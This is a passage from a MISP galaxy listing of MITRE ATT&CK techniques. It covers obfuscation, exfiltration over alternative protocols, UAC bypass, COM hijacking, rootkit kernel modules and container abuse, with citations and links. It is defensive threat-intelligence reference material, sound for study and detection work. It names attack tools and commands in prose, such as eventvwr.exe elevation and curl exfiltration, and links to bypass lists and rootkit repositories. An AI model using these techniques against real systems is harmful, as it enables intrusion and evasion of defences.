An app could contain malicious code in obfuscated or encrypted form, then deobfuscate or decrypt the code at runtime to evade many app vetting techniques.(Citation: Rastogi) (Citation: Zhou) (Citation: TrendMicro-Obad) (Citation: Xiao-iOS)

The tag is: *misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406"*

Table 3792. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/cybercriminals-improve-android-malware-stealth-routines-with-obad/
http://ieeexplore.ieee.org/document/6234407
http://pages.cs.wisc.edu/vrastogi/static/papers/rcj13b.pdf[http://pages.cs.wisc.edu/vrastogi/static/papers/rcj13b.pdf]
http://www.slideshare.net/Shakacon/fruit-vs-zombies-defeat-nonjailbroken-ios-malware-by-claud-xiao
https://attack.mitre.org/techniques/T1406
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-21.html

Obtain Device Cloud Backups - T1470

An adversary who is able to obtain unauthorized access to or misuse authorized access to cloud backup services (e.g. Google's Android backup service or Apple's iCloud) could use that access to obtain sensitive data stored in device backups. For example, the Elcomsoft Phone Breaker product advertises the ability to retrieve iOS backup data from Apple's iCloud (Citation: Elcomsoft-EPPB). Elcomsoft also describes (Citation: Elcomsoft-WhatsApp) obtaining WhatsApp communication histories from backups stored in iCloud.

The tag is: *misp-galaxy:mitre-attack-pattern="Obtain Device Cloud Backups - T1470"*

Table 3793. Table References

Links
https://attack.mitre.org/techniques/T1470
https://blog.elcomsoft.com/2017/07/extract-and-decrypt-whatsapp-backups-from-icloud/
https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-0.html
https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-1.html
https://www.elcomsoft.com/eppb.html

Exfiltration Over Alternative Protocol - T1048

Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.

Alternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Different protocol channels could also include Web services such as cloud storage. Adversaries may also opt to encrypt and/or obfuscate these alternate channels.

[Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048) can be done using various common operating system utilities such as [Net](https://attack.mitre.org/software/S0039)/SMB or FTP.(Citation: Palo Alto OilRig Oct 2016) On macOS and Linux <code>curl</code> may be used to invoke protocols such as HTTP/S or FTP/S to exfiltrate data from a system.(Citation: 20 macOS Common Tools and Techniques)

The tag is: *misp-galaxy:mitre-attack-pattern="Exfiltration Over Alternative Protocol - T1048"*

Table 3794. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/techniques/T1048
https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/

Access Stored Application Data - T1409

Adversaries may access and collect application data resident on the device. Adversaries often target popular applications such as Facebook, WeChat, and Gmail.(Citation: SWB Exodus March 2019)

This technique requires either escalated privileges or for the targeted app to have stored the data in an insecure manner (e.g., with insecure file permissions or in an insecure location such as an external storage directory).

The tag is: *misp-galaxy:mitre-attack-pattern="Access Stored Application Data - T1409"*

Table 3795. Table References

Links
https://attack.mitre.org/techniques/T1409
https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-0.html
https://securitywithoutborders.org/blog/2019/03/29/exodus.html

System Network Connections Discovery - T1049

Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.

An adversary who gains access to a system that is part of a cloud-based environment may map out Virtual Private Clouds or Virtual Networks in order to determine what systems and services are connected. The actions performed are likely the same types of discovery techniques depending on the operating system, but the resulting information may include details about the networked cloud environment relevant to the adversary's goals. Cloud providers may have different ways in which their virtual networks operate.(Citation: Amazon AWS VPC Guide)(Citation: Microsoft Azure Virtual Network Overview)(Citation: Google VPC Overview) Similarly, adversaries who gain access to network devices may also perform similar discovery activities to gather information about connected systems and services.

Utilities and commands that acquire this information include [netstat](https://attack.mitre.org/software/S0104), "net use," and "net session" with [Net](https://attack.mitre.org/software/S0039). In Mac and Linux, [netstat](https://attack.mitre.org/software/S0104) and <code>lsof</code> can be used to list current connections. <code>who -a</code> and <code>w</code> can be used to show which users are currently logged in, similar to "net session". Additionally, built-in features native to network devices and [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) may be used.(Citation: US-CERT-TA18-106A)

The tag is: *misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049"*

Table 3796. Table References

Links
https://attack.mitre.org/techniques/T1049
https://cloud.google.com/vpc/docs/vpc
https://docs.aws.amazon.com/vpc/latest/userguide/what-is-amazon-vpc.html
https://docs.microsoft.com/en-us/azure/virtual-network/virtual-networks-overview
https://www.us-cert.gov/ncas/alerts/TA18-106A

Use Alternate Authentication Material - T1550

Adversaries may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls.

Authentication processes generally require a valid identity (e.g., username) along with one or more authentication factors (e.g., password, pin, physical smart card, token generator, etc.). Alternate authentication material is legitimately generated by systems after a user or application successfully authenticates by providing a valid identity and the required authentication factor(s). Alternate authentication material may also be generated during the identity creation process.(Citation: NIST Authentication)(Citation: NIST MFA)

Caching alternate authentication material allows the system to verify an identity has successfully authenticated without asking the user to reenter authentication factor(s). Because the alternate authentication must be maintained by the system—either in memory or on disk—it may be at risk of being stolen through [Credential Access](https://attack.mitre.org/tactics/TA0006) techniques. By stealing alternate authentication material, adversaries are able to bypass system access controls and authenticate to systems without knowing the plaintext password or any additional authentication factors.

The tag is: *misp-galaxy:mitre-attack-pattern="Use Alternate Authentication Material - T1550"*

Table 3797. Table References

Links
https://attack.mitre.org/techniques/T1550
https://csrc.nist.gov/glossary/term/Multi_Factor-Authentication
https://csrc.nist.gov/glossary/term/authentication
https://technet.microsoft.com/en-us/library/dn487457.aspx

Service Registry Permissions Weakness - T1058

Windows stores local service configuration information in the Registry under <code>HKLM\SYSTEM\CurrentControlSet\Services</code>. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1086), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through Access Control Lists and permissions. (Citation: MSDN Registry Key Security)

If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, then adversaries can change the service binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).

Adversaries may also alter Registry keys associated with service failure parameters (such as <code>FailureCommand</code>) that may be executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: TrustedSignal Service Failure)(Citation: Twitter Service Recovery Nov 2017)

The tag is: *misp-galaxy:mitre-attack-pattern="Service Registry Permissions Weakness - T1058"*

View relationships graph

Service Registry Permissions Weakness - T1058 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Services Registry Permissions Weakness - T1574.011" with estimative-language:likelihood-probability="almost-certain"

Table 3798. Table References

Links
https://attack.mitre.org/techniques/T1058
https://capec.mitre.org/data/definitions/478.html
https://msdn.microsoft.com/library/windows/desktop/ms724878.aspx
https://technet.microsoft.com/en-us/sysinternals/bb963902
https://trustedsignal.blogspot.com/2014/05/kansa-service-related-collectors-and.html
https://twitter.com/r0wdy_/status/936365549553991680

Command and Scripting Interpreter - T1059

Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of [Unix Shell](https://attack.mitre.org/techniques/T1059/004) while Windows installations include the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).

There are also cross-platform interpreters such as [Python](https://attack.mitre.org/techniques/T1059/006), as well as those commonly associated with client applications such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).

Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in [Initial Access](https://attack.mitre.org/tactics/TA0001) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells, as well as utilize various [Remote Services](https://attack.mitre.org/techniques/T1021) in order to achieve remote Execution.(Citation: Powershell Remote Commands)(Citation: Cisco IOS Software Integrity Assurance - Command History)(Citation: Remote Shell Execution in Python)

The tag is: *misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059"*

Table 3799. Table References

Links

https://attack.mitre.org/techniques/T1059
https://docs.microsoft.com/en-us/powershell/scripting/learn/remoting/running-remote-commands?view=powershell-7.1
https://tools.cisco.com/security/center/resources/integrity_assurance.html#23
https://www.thepythoncode.com/article/executing-bash-commands-remotely-in-python

Gather Victim Network Information - T1590

Adversaries may gather information about the victim's networks that can be used during targeting. Information about networks may include a variety of details, including administrative data (ex: IP ranges, domain names, etc.) as well as specifics regarding its topology and operations.

Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about networks may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).

The tag is: *misp-galaxy:mitre-attack-pattern="Gather Victim Network Information - T1590"*

Table 3800. Table References

Links
https://attack.mitre.org/techniques/T1590
https://dnsdumpster.com/
https://www.circl.lu/services/passive-dns/
https://www.whois.net/

Indicator Removal from Tools - T1066

If a malicious tool is detected and quarantined or otherwise curtailed, an adversary may be able to determine why the malicious tool was detected (the indicator), modify the tool by removing the indicator, and use the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems.

A good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may use [Software Packing](https://attack.mitre.org/techniques/T1045) or otherwise modify the file so it has a different signature, and then re-use the malware.

The tag is: *misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1066"*

View relationships graph

Indicator Removal from Tools - T1066 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1027.005" with estimative-language:likelihood-probability="almost-certain"

Table 3801. Table References

Links
https://attack.mitre.org/techniques/T1066

Exploitation for Privilege Escalation - T1068

Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.

When initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This could also enable an adversary to move from a virtualized environment, such as within a virtual machine or container, onto the underlying host. This may be a necessary step for an adversary compromising an endpoint system that has been properly configured and limits other privilege escalation methods.

Adversaries may bring a signed vulnerable driver onto a compromised machine so that they can exploit the vulnerability to execute code in kernel mode. This process is sometimes referred to as Bring Your Own Vulnerable Driver (BYOVD).(Citation: ESET InvisiMole June 2020)(Citation: Unit42 AcidBox June 2020) Adversaries may include the vulnerable driver with files delivered during Initial Access or download it to a compromised system via [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) or [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570).

The tag is: *misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068"*

Table 3802. Table References

Links
https://attack.mitre.org/techniques/T1068
https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules

https://unit42.paloaltonetworks.com/acidbox-rare-malware/
https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf

Bypass User Account Control - T1088

Windows User Account Control (UAC) allows a program to elevate its privileges to perform a task under administrator-level permissions by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works)

If the UAC protection level of a computer is set to anything but the highest level, certain Windows programs are allowed to elevate privileges or execute some elevated COM objects without prompting the user through the UAC notification box. (Citation: TechNet Inside UAC) (Citation: MSDN COM Elevation) An example of this is use of rundll32.exe to load a specifically crafted DLL which loads an auto-elevated COM object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user. (Citation: Davidson Windows) Adversaries can use these techniques to elevate privileges to administrator if the target process is unprotected.

Many methods have been discovered to bypass UAC. The Github readme page for UACMe contains an extensive list of methods (Citation: Github UACMe) that have been discovered and implemented within UACMe, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:

- <code>eventvwr.exe</code> can auto-elevate and execute a specified binary or script. (Citation: enigma0x3 Fileless UAC Bypass) (Citation: Fortinet Fareit)

Another bypass is possible through some Lateral Movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on lateral systems and default to high integrity. (Citation: SANS UAC Bypass)

The tag is: *misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1088"*

View relationships graph

Bypass User Account Control - T1088 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"

Table 3803. Table References

Links
http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass

http://www.pretentiousname.com/misc/win7_uac_whitelist2.html
https://attack.mitre.org/techniques/T1088
https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware
https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/
https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/
https://github.com/hfiref0x/UACME
https://msdn.microsoft.com/en-us/library/ms679687.aspx
https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx
https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works

Exploitation for Defense Evasion - T1211

Adversaries may exploit a system or application vulnerability to bypass security features. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Vulnerabilities may exist in defensive security software that can be used to disable or circumvent them.

Adversaries may have prior knowledge through reconnaissance that security software exists within an environment or they may perform checks during or shortly after the system is compromised for [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001). The security software will likely be targeted directly for exploitation. There are examples of antivirus software being targeted by persistent threat groups to avoid detection.

The tag is: *misp-galaxy:mitre-attack-pattern="Exploitation for Defense Evasion - T1211"*

Table 3804. Table References

Links
https://attack.mitre.org/techniques/T1211

Extra Window Memory Injection - T1181

Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data). (Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of extra window memory (EWM) to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)

Although small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process's memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process's EWM.

Execution granted through EWM injection may take place in the address space of a separate live process. Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), this may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread. (Citation: Elastic Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)

The tag is: *misp-galaxy:mitre-attack-pattern="Extra Window Memory Injection - T1181"*

View relationships graph

Extra Window Memory Injection - T1181 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Extra Window Memory Injection - T1055.011" with estimative-language:likelihood-probability="almost-certain"

Table 3805. Table References

Links
https://attack.mitre.org/techniques/T1181
https://msdn.microsoft.com/library/windows/desktop/ms633574.aspx
https://msdn.microsoft.com/library/windows/desktop/ms633584.aspx
https://msdn.microsoft.com/library/windows/desktop/ms633591.aspx
https://msdn.microsoft.com/library/windows/desktop/ms644953.aspx
https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html
https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/

Exploitation for Credential Access - T1212

Adversaries may exploit software vulnerabilities in an attempt to collect credentials. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Credentialing and authentication mechanisms may be targeted for exploitation by adversaries as a means to gain access to useful credentials or circumvent the process to gain access to systems. One example of this is MS14-068, which targets Kerberos and can be used to forge Kerberos tickets using domain user permissions.(Citation: Technet MS14-068)(Citation: ADSecurity Detecting Forged Tickets) Exploitation for credential access may also result in Privilege Escalation depending on the process targeted or credentials obtained.

The tag is: *misp-galaxy:mitre-attack-pattern="Exploitation for Credential Access - T1212"*

Table 3806. Table References

Links
https://adsecurity.org/?p=1515
https://attack.mitre.org/techniques/T1212
https://technet.microsoft.com/en-us/library/security/ms14-068.aspx

Component Object Model Hijacking - T1122

The Component Object Model (COM) is a system within Windows to enable interaction between software components through the operating system. (Citation: Microsoft Component Object Model) Adversaries can use this system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Windows Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead. (Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.

The tag is: *misp-galaxy:mitre-attack-pattern="Component Object Model Hijacking - T1122"*

View relationships graph

Component Object Model Hijacking - T1122 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Component Object Model Hijacking - T1546.015" with estimative-language:likelihood-probability="almost-certain"

Table 3807. Table References

Links
https://attack.mitre.org/techniques/T1122
https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence
https://msdn.microsoft.com/library/ms694363.aspx
https://www.elastic.co/blog/how-hunt-detecting-persistence-evasion-com

Data from Information Repositories - T1213

Adversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, or direct access to the target information. Adversaries may also abuse external sharing features to share sensitive documents with recipients outside of the organization.

The following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository:

- Policies, procedures, and standards
- Physical / logical network diagrams
- System architecture diagrams
- Technical system documentation
- Testing / development credentials
- Work / project schedules
- Source code snippets
- Links to network shares and other internal resources

Information stored in a repository may vary based on the specific instance or environment. Specific common information repositories include web-based platforms such as [Sharepoint](https://attack.mitre.org/techniques/T1213/002) and [Confluence](https://attack.mitre.org/techniques/T1213/001), specific services such as Code Repositories, IaaS databases, enterprise databases, and other storage infrastructure such as SQL Server.

The tag is: *misp-galaxy:mitre-attack-pattern="Data from Information Repositories - T1213"*

Table 3808. Table References

Links
https://attack.mitre.org/techniques/T1213
https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html
https://docs.microsoft.com/en-us/microsoft-365/compliance/use-sharing-auditing?view=o365-worldwide#sharepoint-sharing-events
https://support.office.com/en-us/article/configure-audit-settings-for-a-site-collection-a9920c97-38c0-44f2-8bcb-4cf1e2ae22d2

System Network Connections Discovery - T1421

On Android, applications can use standard APIs to gather a list of network connections to and from the device. For example, the Network Connections app available in the Google Play Store (Citation: ConnMonitor) advertises this functionality.

The tag is: *misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1421"*

Table 3809. Table References

Links
https://attack.mitre.org/techniques/T1421
https://play.google.com/store/apps/details?id=com.antispycell.connmonitor&hl=en

Kernel Modules and Extensions - T1215

Loadable Kernel Modules (or LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system. (Citation: Linux Kernel Programming) When used maliciously, Loadable Kernel Modules (LKMs) can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0). (Citation: Linux Kernel Module Programming Guide) Adversaries can use loadable kernel modules to covertly persist on a system and evade defenses. Examples have been found in the wild and there are some open source projects. (Citation: Volatility Phalanx2) (Citation: CrowdStrike Linux Rootkit) (Citation: GitHub Reptile) (Citation: GitHub Diamorphine)

Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors and enabling root access to non-privileged users. (Citation: iDefense Rootkit Overview)

Kernel extensions, also called kext, are used for macOS to load functionality onto a system similar to LKMs for Linux. They are loaded and unloaded through <code>kextload</code> and <code>kextunload</code> commands. Several examples have been found where this can be used. (Citation: RSAC 2015 San Francisco Patrick Wardle) (Citation: Synack Secure Kernel Extension Broken) Examples have been found in the wild. (Citation: Securelist Ventir)

The tag is: *misp-galaxy:mitre-attack-pattern="Kernel Modules and Extensions - T1215"*

View relationships graph

Kernel Modules and Extensions - T1215 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Kernel Modules and Extensions - T1547.006" with estimative-language:likelihood-probability="almost-certain"

Table 3810. Table References

Links
http://tldp.org/HOWTO/Module-HOWTO/x197.html
http://www.megasecurity.org/papers/Rootkits.pdf
http://www.tldp.org/LDP/lkmpg/2.4/html/x437.html
https://attack.mitre.org/techniques/T1215
https://en.wikipedia.org/wiki/Loadable_kernel_module#Linux
https://github.com/f0rb1dd3n/Reptile
https://github.com/m0nad/Diamorphine

https://securelist.com/the-ventir-trojan-assemble-your-macos-spy/67267/
https://volatility-labs.blogspot.com/2012/10/phalanx-2-revealed-using-volatility-to.html
https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/
https://www.synack.com/2017/09/08/high-sierras-secure-kernel-extension-loading-is-broken/
https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf

Build Image on Host - T1612

Adversaries may build a container image directly on a host to bypass defenses that monitor for the retrieval of malicious images from a public registry. A remote <code>build</code> request may be sent to the Docker API that includes a Dockerfile that pulls a vanilla base image, such as alpine, from a public or local registry and then builds a custom image upon it.(Citation: Docker Build Image)

An adversary may take advantage of that <code>build</code> API to build a custom image on the host that includes malware downloaded from their C2 server, and then they then may utilize [Deploy Container](https://attack.mitre.org/techniques/T1610) using that custom image.(Citation: Aqua Build Images on Hosts)(Citation: Aqua Security Cloud Native Threat Report June 2021) If the base image is pulled from a public registry, defenses will likely not detect the image as malicious since it's a vanilla image. If the base image already resides in a local registry, the pull may be considered even less suspicious since the image is already in the environment.

The tag is: *misp-galaxy:mitre-attack-pattern="Build Image on Host - T1612"*

Table 3811. Table References

Links
https://attack.mitre.org/techniques/T1612
https://blog.aquasec.com/malicious-container-image-docker-container-host
https://docs.docker.com/engine/api/v1.41/#operation/ImageBuild
https://info.aquasec.com/hubfs/Threat%20reports/AquaSecurity_Cloud_Native_Threat_Report_2021.pdf?utm_campaign=WP%20-%20Jun2021%20Nautilus%202021%20Threat%20Research%20Report&utm_medium=email&_hsmi=132931006&_hsenc=p2ANqtz-_8oopT5Uhqab8B7kE0l3iFo1koirxtyfTehxF7N-EdGYrwk30gfiwp5SiNlW3G0TNKZxUcDkYOtwQ9S6nNVNyEO-Dgrw&utm_content=132931006&utm_source=hs_automation

Network Share Connection Removal - T1126

Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation. Windows shared drive and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) connections can be removed when no longer needed. [Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the <code>net use \\system\share /delete</code> command. (Citation: Technet Net Use)

The tag is: *misp-galaxy:mitre-attack-pattern="Network Share Connection Removal - T1126"*

View relationships graph

Network Share Connection Removal - T1126 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Network Share Connection Removal - T1070.005" with estimative-language:likelihood-probability="almost-certain"

Table 3812. Table References

Links
https://attack.mitre.org/techniques/T1126
https://technet.microsoft.com/bb490717.aspx

System Script Proxy Execution - T1216

Adversaries may use trusted scripts, often signed with certificates, to proxy the execution of malicious files. Several Microsoft signed scripts that have been downloaded from Microsoft or are default on Windows installations can be used to proxy execution of other files.(Citation: LOLBAS Project) This behavior may be abused by adversaries to execute malicious files that could bypass application control and signature validation on systems.(Citation: GitHub Ultimate AppLocker Bypass List)

The tag is: *misp-galaxy:mitre-attack-pattern="System Script Proxy Execution - T1216"*

Table 3813. Table References

Links
https://attack.mitre.org/techniques/T1216
https://github.com/LOLBAS-Project/LOLBAS#criteria
https://github.com/api0cradle/UltimateAppLockerByPassList

System Binary Proxy Execution - T1218

Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries. Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system.(Citation: LOLBAS Project) Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands.

Similarly, on Linux systems adversaries may abuse trusted binaries such as <code>split</code> to proxy execution of malicious commands.(Citation: split man page)(Citation: GTFO split)

The tag is: *misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218"*

Table 3814. Table References

Links
https://attack.mitre.org/techniques/T1218
https://github.com/LOLBAS-Project/LOLBAS#criteria
https://gtfobins.github.io/gtfobins/split/
https://man7.org/linux/man-pages/man1/split.1.html

Build social network persona - T1341

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1341).

For attacks incorporating social engineering the utilization of an on-line persona is important. These personas may be fictitious or impersonate real people. The persona may exist on a single site or across multiple sites ([Facebook](https://www.facebook.com), [LinkedIn](https://www.linkedin.com), [Twitter](https://twitter.com), [Google+](https://plus.google.com), etc.). (Citation: NEWSCASTER2014) (Citation: BlackHatRobinSage) (Citation: RobinSageInterview)

The tag is: *misp-galaxy:mitre-attack-pattern="Build social network persona - T1341"*

Table 3815. Table References

Links
http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf
https://attack.mitre.org/techniques/T1341
https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation

Remote access tool development - T1351

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1351).

A remote access tool (RAT) is a piece of software that allows a remote user to control a system as if they had physical access to that system. An adversary may utilize existing RATs, modify existing RATs, or create their own RAT. (Citation: ActiveMalwareEnergy)

The tag is: *misp-galaxy:mitre-attack-pattern="Remote access tool development - T1351"*

Table 3816. Table References

Links
https://arstechnica.com/information-technology/2014/06/active-malware-operation-let-attackers-sabotage-us-energy-industry/
https://attack.mitre.org/techniques/T1351

Container and Resource Discovery - T1613

Adversaries may attempt to discover containers and other resources that are available within a containers environment. Other resources may include images, deployments, pods, nodes, and other information such as the status of a cluster.

These resources can be viewed within web applications such as the Kubernetes dashboard or can be queried via the Docker and Kubernetes APIs.(Citation: Docker API)(Citation: Kubernetes API) In Docker, logs may leak information about the environment, such as the environment's configuration, which services are available, and what cloud provider the victim may be utilizing. The discovery of these resources may inform an adversary's next steps in the environment, such as how to perform lateral movement and which methods to utilize for execution.

The tag is: *misp-galaxy:mitre-attack-pattern="Container and Resource Discovery - T1613"*

Table 3817. Table References

Links
https://attack.mitre.org/techniques/T1613
https://docs.docker.com/engine/api/v1.41/
https://kubernetes.io/docs/concepts/overview/kubernetes-api/

Secure and protect infrastructure - T1317

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1317).

An adversary may secure and protect their infrastructure just as defenders do. This could include the use of VPNs, security software, logging and monitoring, passwords, or other defensive measures. (Citation: KrebsTerracottaVPN)

